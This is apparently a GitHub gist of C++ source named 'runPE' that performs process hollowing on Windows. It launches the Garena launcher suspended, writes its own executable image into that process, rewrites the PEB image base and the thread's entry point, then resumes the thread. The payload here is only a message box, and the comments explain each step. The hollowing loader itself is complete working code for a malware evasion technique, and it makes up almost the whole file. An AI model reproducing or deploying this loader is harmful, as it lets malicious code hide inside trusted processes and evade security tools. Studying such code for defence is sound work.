Created
March 7, 2022 13:45
-
-
Save tenghaooo/aaed51c658e8a11186b963b64a7e3cc9 to your computer and use it in GitHub Desktop.
runPE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <iostream> | |
#include <Windows.h> | |
BYTE* MapFileToMemory(LPCSTR filename) | |
{ | |
FILE* fp; | |
errno_t e = fopen_s(&fp, filename, "rb"); // open file | |
fseek(fp, 0, SEEK_END); // move to file end | |
LONG size = ftell(fp); // get file size | |
fseek(fp, 0, SEEK_SET); // move to file begin | |
BYTE* buffer = (BYTE*)malloc(sizeof(BYTE) * size); | |
fread(buffer, size, 1, fp); // read file to buffer | |
fclose(fp); | |
return buffer; | |
} | |
// open an PE process then replace it with the image | |
int RunPE(LPCSTR originPE, void* Image) | |
{ | |
IMAGE_DOS_HEADER* DOSHeader; | |
IMAGE_NT_HEADERS* NtHeader; | |
IMAGE_SECTION_HEADER* SectionHeader; | |
PROCESS_INFORMATION PI = {}; | |
STARTUPINFOA SI = {}; | |
CONTEXT* CTX; | |
size_t* ImageBase; // base address of the image | |
void* pImageBase; // pointer to the image base | |
DOSHeader = PIMAGE_DOS_HEADER(Image); // initialize | |
NtHeader = PIMAGE_NT_HEADERS((size_t)Image + DOSHeader->e_lfanew); // initialize | |
SectionHeader = PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(*NtHeader)); // initialize | |
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) | |
{ | |
// create an instance of originPE in suspended state | |
if (CreateProcessA(originPE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) | |
{ | |
// Allocate memory for the context. | |
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE)); | |
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated | |
if (GetThreadContext(PI.hThread, CTX)) | |
{ | |
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0); | |
// allocate an space from the new process for the Image, and the desired start address is the Image's OptionalHeader.ImageBase | |
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE); | |
// write the Image headers to the space | |
WriteProcessMemory(PI.hProcess, LPVOID(pImageBase), Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL); | |
// write the Image sections to the space | |
for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) { | |
WriteProcessMemory(PI.hProcess, | |
LPVOID(size_t(pImageBase) + SectionHeader[i].VirtualAddress), | |
LPVOID(size_t(Image) + SectionHeader[i].PointerToRawData), | |
SectionHeader[i].SizeOfRawData, 0); | |
} | |
// PEB->ImageBaseAddress is pointed by CTX->Ebx + 8 | |
// replace the value of (CTX->Ebx + 8) to pImageBase, so the PE module at pImageBase will be executed | |
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0); | |
// modify the entry point address, which is pointed by CTX->Eax | |
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint; | |
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); | |
ResumeThread(PI.hThread); | |
return 0; | |
} | |
} | |
} | |
return 1; | |
} | |
int CALLBACK WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { | |
char CurrentFilePath[MAX_PATH + 1]; | |
GetModuleFileNameA(0, CurrentFilePath, MAX_PATH); | |
// current module is gerena? | |
if (strstr(CurrentFilePath, "C:\\Program Files (x86)\\Garena\\Garena\\garena.exe")) { | |
MessageBoxA(0, "process hollowing!!", "RunPE", 0); | |
return 0; | |
} | |
LPCSTR origin = "C:\\Program Files (x86)\\Garena\\Garena\\garena.exe"; | |
RunPE(origin, MapFileToMemory(CurrentFilePath)); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment